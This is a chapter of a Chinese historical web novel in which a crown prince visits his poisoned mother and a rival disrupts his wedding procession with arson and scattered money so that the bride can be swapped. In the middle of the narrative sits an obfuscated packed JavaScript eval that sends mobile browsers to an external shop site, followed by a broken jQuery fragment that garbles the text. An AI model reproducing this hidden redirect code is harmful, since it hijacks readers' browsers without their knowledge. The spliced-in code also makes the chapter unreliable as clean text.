47. 掉包新娘
    蔷薇阁路偏难行,要爬很高的台阶,太子一路走着,计算时间,他已经快有十年没再见到自己的母后了,每逢春日,他都会为王皇后剪上几枝牡丹,差人送来。

    这些牡丹被移植在蔷薇阁中的路两旁,秋日凋零,有一些已经烂成软泥,有一些蜷着身子,静待四季的轮转。

    看起来应当很久没人打理过了。

    推开厚重的门,里面尘土飞扬,王皇后端坐在中堂之上,穿着封后时穿着的,金罗吉祥五凤吉服,见太子进来,挪动着眼球,落在他身上。

    太子好像不认识王皇后了,记忆中的母后,意气风发,永远光洁的挺直的脖颈,后宫之主,妃嫔之首。

    可现在的王皇后,也不过才四十有六,形容枯槁,满头银发,发间的珠钗支撑不住,松松垮垮的挂在头顶。

    太子行了二跪六叩礼后,不敢直起身子,跪在地上低垂着头。

    他心中有愧,无法抬头面对他的母后。

    王皇后被下毒的事,他是知情的。

    圣主当着他的面,一字一句说的明白。

    “要想当君主,就不该有仁慈,为防你母后的娘家越权,夺你皇权,扶你做傀儡,架空叶朝,哪怕只有万分之一,也绝不能让他们有机可乘。”

    “所以你的母后必须得死,她死,你的地位才能稳固,叶朝才会长盛不衰。”

    “你不该有任何弱点。”

    “但是她又不能暴毙,会引起怀疑。”

    所以王皇后只能按部就班的自愿喝下那些毒药,直到身躯残败,走向死亡。

    一只枯槁的手伸到他的面前,肌肤褶皱,手中握着一只枯萎了的姚黄牡丹,是他剪好送来的那只。

    太子顺着她的手臂往上看,像儿时那样,王皇后把她抱在怀中,他仰头看她,脸上挂着和煦的笑容,偏着头瞧他。

    太子察觉到了眼眶湿润,怕自己落泪,猛然站起,头也不回的离开了蔷薇阁。

    随着他的脚步踏出门口,中堂上端坐的人影,轰然倒塌。

    太子一脚踏入迎亲队伍中,骑在马上,一声令下,队伍朝着青宫出发。

    沿路都是讨喜钱的百姓,被拦在路外,太子吩咐仪鸾边走边撒铜币,人群欢呼,乱做一团。

    掐着吉时到了青宫,这里毕竟不是公主真正的家,门口拦亲的人随意做做样子,也没有为难太子,收了钱就放他进了门,冷冷清清的,并不热闹。

    喜婆一路小跑,来到麦黎所在的房间,笑的满脸褶子。

    “新娘子,新郎来接您咧。”

    她麻利的拿起盖头给麦黎盖上,自己蹲在麦黎前面,示意她上背。

    麦黎不解,喜婆解释道,“新娘子的脚可不能沾地,会带走福气的,喜婆我啊,现在就带公主您呐,去上花轿。”

    麦黎不肯松开秦良玉的手,喜婆十分为难,又怕耽误了吉时。

    外面响起了震耳的炮声,是催促着花轿出门的声音,误了太子的娶亲,可是要掉脑袋的事,左右太子已经吩咐下来了,秦良玉可以跟在麦黎身边,而且花轿抬起,直接封轿,没有任何人会打开轿门。

    进了皇宫之后,去浮尘殿坐福,到时候再把秦良玉和她分开就是了。

    思来想去,赶紧背上公主,放进花轿,连着秦良玉一起塞了进去。

    慌乱之中,轿门的锁也没有扣严实,倾斜着挂在上面,反正太子娶太子妃,两国联姻,全乐安城戒备,又会有谁来抢亲,又能出什么岔子呢?

    迎亲队伍吹响奏乐,热热闹闹的从青宫出发了,太子骑赤兔马走在队伍正前方,规格太过奢华,仪鸾备了五百人迎娶麦黎,队伍拉出接近一里的路,极尽皇家风范。

    正前方是太子的暗卫,中间抬着麦黎的嫁妆,接着才是赤红的皇家花轿,后面跟着圣主赐给太子妃的丫鬟,一路慢行,接受着叶朝百姓的祝福。

    行至如梦楼前不远处,下方的食客们吃着宴席,观摩着盛礼。

    天空中飘飘荡荡,落下一张纸,掉进汤水中,食客赶忙去捞,念叨着晦气,甩掉上面沾上的汤汁后,定睛一看,哪里是废纸,是一张十两银子的银票。

    身侧的食客都惊呼了起来,有人捡到了一张五十两的银票,铜币,银币,甚至还有金元宝,最先发现银票的食客抬头望去,天空中飞起无数孔明灯,灯芯很短,到了正上方燃尽后,牵扯着的绳子一并断掉,无数的的金银飘洒而过。

    人群嘈杂混乱起来。

    金子掉到队伍中,一旁的百姓犹豫着要不要去捡,有人试图跳进去,被羽林军一拳打倒在地,人群如同洪水开闸,一发不可收拾,冲进迎亲队伍中,在地上疯抢着。

    坐在一间不起眼的临街铺二层中的齐国衡将军,掀开一窗户一角,咂舌。

    “这得扔下去多少银钱啊。”

    对面的顾德瑞抿了口茶:“这钱你们彦国出,要还给我。”

    隔壁包间椅子摔倒,砸碎瓶罐,一阵混乱后,满头大汗的火旺敲响了三皇子的门。

    “三殿下,准备好了。”

    迎亲队伍被拦腰截断,惊呼声一声高过一声,数量众多的巨大孔明灯飞到天上,这次带来的不是银票,而是无数根铁链,拖着长尾巴,垂在多间房屋顶部。

    半空中雷鸣阵阵,闪电划破长空,距离闪电最近的一根粗铁链,开出绚烂的花,沿着锁链劈下,整条铁链闪着火花垂到屋顶,瞬间燃起大火。

    街上两侧的房屋熊熊燃烧,人们无处可躲,冲进迎亲队伍中,哭喊尖叫声此起彼伏,初始羽林卫还会去拦,暴走的人群太多了,他们也被冲散了。

    顾德瑞今天一身墨黑长衫,衣袂轻扬,鼻梁挺直,唇白齿红。

    动手筛着茶,茶香四溢。

    天降大火,灾难恒生,这是上天显灵啊。

    齐国衡瞪圆了眼睛,不可置信的看看外面,又看看顾德瑞。

    “这...这这这...这...”

    顾德瑞冷哼一声。

    “雷电是一种自然现象,伴随闪电和雷鸣,产生一种放电现象,当铁链靠近雷电时,铁可导电,摩擦产生火花。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13364100|140889||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “屋顶我提前倒了猛火油,自然一点就着。”

    “猛火油就是石油。”

    “小学知识。”

    顾德瑞上课学的认真,自然也用的认真,他的计划其实只有两句。

    “搞乱送亲队伍,换走新娘。”

    没想到实行下来,有了意外的效果,愚昧的古代人民,把燃起的大火当成神明显灵,跪在地上不住的哀求着,还咒骂太子,触怒神明,必遭天谴。

    顾德瑞一声令下,混在人群中的手下行动起来,纷纷脱下自己的衣服,掏出送亲礼服,给自己换上。

    场面太过混乱,根本分不清谁是谁,太子被隔出很远,根本走不过来。

    不知是谁惊呼了一声,花轿起火了,喜婆赶忙打开了花轿的门,护着麦黎出来躲避,外面的百姓挤在她们周围,转眼间麦黎就被挤了出去。

    喜婆急的团团转,一边喊着太子妃不见了一边摸索着找,所幸找了一圈找到了。

    花轿上的火也被扑灭了,喜婆心有余悸,赶紧把麦黎塞回轿子里,重新锁好,招呼着轿夫快点冲出去,离开这个鬼地方。

    太子见后方出了事,立刻就派人前去找支援,等候在宫门口的羽林军几乎倾巢而出,冲出两条路,将送亲队伍牢牢包在其中,在将其中跪拜的,哭喊的人丢了出去。

    另一部分的人带着水桶等物,赶忙去救火,天空阴沉的吓人,不多时倾盆大雨而落,燃烧的火焰渐渐变小,也浇灭了孔明灯上的火,没有了动力支撑,锁链落了下来。

    一场混乱接近了尾声,太子阴沉着脸,从队首来到花轿前面,伸手就要摘下花轿的吉祥锁。

    喜婆赶紧去拦:“太子殿下,未拜堂就掀盖头可是对新娘的羞辱,也回让福气流失,这可万万不能行啊。”

    太子阴鸷的看着喜婆:“刚刚人群混乱,新娘子没出什么事吧?”

    喜婆谄媚的弯腰笑着:“没事没事,一切都好着呢。”

    太子盯了几秒,最后放开了手,派人传令,送亲队伍加速行进,不准停留,快速入宫。

    敲锣打鼓声也停了下来,送亲队伍沉默着,快步疾行,很快就到了宫门口,完成了仪式。

    有了再街上发生的问题后,喜婆不敢再怠慢,让轿夫把花轿带进了坐福屋中,用福锤敲碎了锁,一边絮叨着:“新娘子咱们到福屋咯,您且在这稍坐着,坐满两个时辰,就会诚心福至咯。”

    “喜婆我啊就先退下咯。”

    “待到拜堂吉时喜婆再来接您。”

    说着,喜婆在轿门附近撒了一些花瓣,笑意盈盈地跨出门槛,只留下花轿停在屋中。

    沉静的,没有声音。

    长方一脚踹开轿门,扯下红盖头,大口呼吸新鲜空气,解开衣襟的扣子,胡乱抹了下脸,拿盖头给自己扇风,看到屋子里给新娘子备的一些果子,一口一个塞进嘴里,咧着嘴嫌弃果子甜。

    “这破轿子怎么这么小。”

    踹了一脚花轿。

    “热死我了,可给我憋坏了。”